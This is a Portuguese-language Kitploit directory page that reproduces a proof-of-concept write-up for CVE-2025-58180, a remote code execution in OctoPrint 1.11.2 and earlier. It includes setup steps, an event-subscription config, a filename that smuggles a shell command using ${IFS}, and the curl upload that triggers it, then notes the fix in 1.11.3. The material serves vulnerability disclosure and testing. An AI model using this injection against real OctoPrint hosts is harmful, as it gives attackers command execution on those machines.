Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-58180 — No OctoPrint versão <=1.11.2, um atacante com acesso de upload de arquivos (por exemplo, chave de API válida ou sessão) pode criar um nome de arquivo malicioso que contorna a sanitização e é posteriormente executado pelo sistema de eventos do OctoPrint, levando à execução remota de código (RCE) no host | Kitploit
Ferramentas/GitHubGitHub/prabhatverma47/cve-2025-58180
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e Controle
GitHubprabhatverma47/cve-2025-58180

CVE-2025-58180

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
há 1 anoAinda não revisado

Sobre

No OctoPrint versão <=1.11.2, um atacante com acesso de upload de arquivos (por exemplo, chave de API válida ou sessão) pode criar um nome de arquivo malicioso que contorna a sanitização e é posteriormente executado pelo sistema de eventos do OctoPrint, levando à execução remota de código (RCE) no host

Compartilhar

CVE-2025-58180 RCE no OctoPrint via Nome de Arquivo Não Sanitizado no Upload de Arquivo

No OctoPrint versão <=1.11.2, um atacante com acesso ao upload de arquivos (por exemplo, chave de API ou sessão válida) pode criar um nome de arquivo malicioso que contorna a sanitização e é posteriormente executado pelo sistema de eventos do OctoPrint, levando à execução remota de código (RCE) no host


PoC: Passos para Recriar a Vulnerabilidade

Passo 1: Informação da Versão

Baixado o último lançamento estável: OctoPrint 1.11.2

imagem

Passo 2: Executar o OctoPrint

root@kitploit:~
octoprint serve --port 5000 --debug
  • Abra http://127.0.0.1:5000 no navegador.
  • Passe pelo assistente inicial → crie um usuário com configurações padrão (desabilitado: conectividade, anônimo, plugin).
  • Pegue a chave de API em Configurações → API → salve para mais tarde. imagem
  • Pare o serviço do OctoPrint assim que os passos acima estiverem concluídos.


    Passo 3: Configurar a Assinatura de Eventos

    Seguindo a documentação de eventos do OctoPrint:

    Edite ~/.octoprint/config.yaml:

    root@kitploit:~
    events:
      enabled: true
      subscriptions:
        - event: FileAdded
          type: system
          debug: true
          command: "{path}"
    
    imagem

    Passo 4: Criar G-code de Exemplo

    Crie /tmp/gcode/ok.gcode:

    root@kitploit:~
    ; minimal gcode
    G28
    M105
    

    Reinicie o serviço do OctoPrint.


    Passo 5: Prova de Conceito de RCE

    1. Exporte a chave de API:
    root@kitploit:~
    export API_KEY='<key previously gathered from webUI>'
    
    1. Verifique se o arquivo não existe:
    root@kitploit:~
    ls -la /tmp/test123
    
    1. Crie o payload do nome de arquivo malicioso:
      INJECT_NAME='octo;touch${IFS}/tmp/test123;#.gcode'

    Explicação: ${IFS} é o Separador de Campo Interno do shell (geralmente um espaço). Ele contorna a sanitização quando injetado.

    1. Envie a requisição curl:
    root@kitploit:~
    curl -sS -X POST -H "X-Api-Key: $API_KEY" \
      -F "file=@/tmp/gcode/ok.gcode;filename=\"${INJECT_NAME}\"" \
      "http://127.0.0.1:5000/api/files/local"
    
    1. Verifique a execução:
    root@kitploit:~
    ls -la /tmp/test123
    
    imagem

    Se /tmp/test123 existir, o comando injetado foi executado com sucesso → RCE confirmado.


    Explicação do Fluxo

    root@kitploit:~
    [User upload with crafted filename]
            │
            ▼
    server/api/files.py → accepts raw filename (metacharacters survive sanitize_name)
            │
            ▼
    events.py (EventManager.fire "FileAdded") → payload {path} includes raw chars
            │
            ▼
    system command subscriber → subprocess.check_call(..., shell=True)
            │
            ▼
    [Injected shell metacharacters execute as OS commands]
    

    Resumo

    Quando um arquivo é enviado:

    1. O OctoPrint aceita o nome do arquivo (com sanitização limitada).
    2. Ele dispara um evento FileAdded.
    3. Se comandos de sistema estiverem inscritos neste evento, o nome do arquivo bruto (incluindo ;, ${IFS}, etc.) é passado para um shell.
    4. Isso permite que comandos injetados dentro do nome do arquivo sejam executados no host.

    Resultado: Execução Remota de Código (RCE) no sistema host.

    Referências

    • CVE Atribuído:(CVE-2025-58180) GHSA-49mj-x8jp-qvfc
    • Versão corrigida: 1.11.3

    Baixar ferramenta